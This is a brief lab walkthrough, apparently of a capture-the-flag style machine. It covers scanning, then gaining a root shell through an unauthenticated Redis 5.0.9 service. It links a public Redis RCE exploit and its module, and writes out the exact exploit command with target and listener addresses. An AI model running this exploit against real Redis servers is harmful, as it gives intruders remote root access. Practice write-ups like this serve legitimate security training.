Enumeration

2021年7月29日 0:05

1: Use autorecon to enumerate its services, **22, 80, 6379, 8080, 27017** are open
2: Http service running on port 80 does not have any content
3: Http service running on port **8080** seems to be more **complex**, it will take me some time to enumerate, run dirb to scan its directory, and meanwhile, check other services
4: Redis and mongodb service are fresh to me, check **Redis**. Its version is **5.0.9**, it could have an **RCE** exploit (https://github.com/Ridter/redis-rce/blob/master/redis-rce.py)
5: However, the exploit needs a **module file** to load, therefore I need to **compile it** first. I find this guide (https://github.com/n0b0dyCN/RedisModules-ExecuteCommand). It helps me compile the module file

Foothold

2021年7月29日 0:06

1: Download the exploit, execute it: **python redisrce.py -r 192.168.185.69 -p 6379 -L 192.168.49.185 -P 8080 -f module.so**
2: It exploits successfully, and I choose **interactive shell**
3: cat /root/proof.txt, get the shell

Privilege Escalation

2021年7月29日 0:06

1: It is already a root shell

Review

2021年7月29日 0:06

1: Target **Redis** service
2: It looks like there are **multiple ways** to exploit **Redis**, since it does not have **authentication**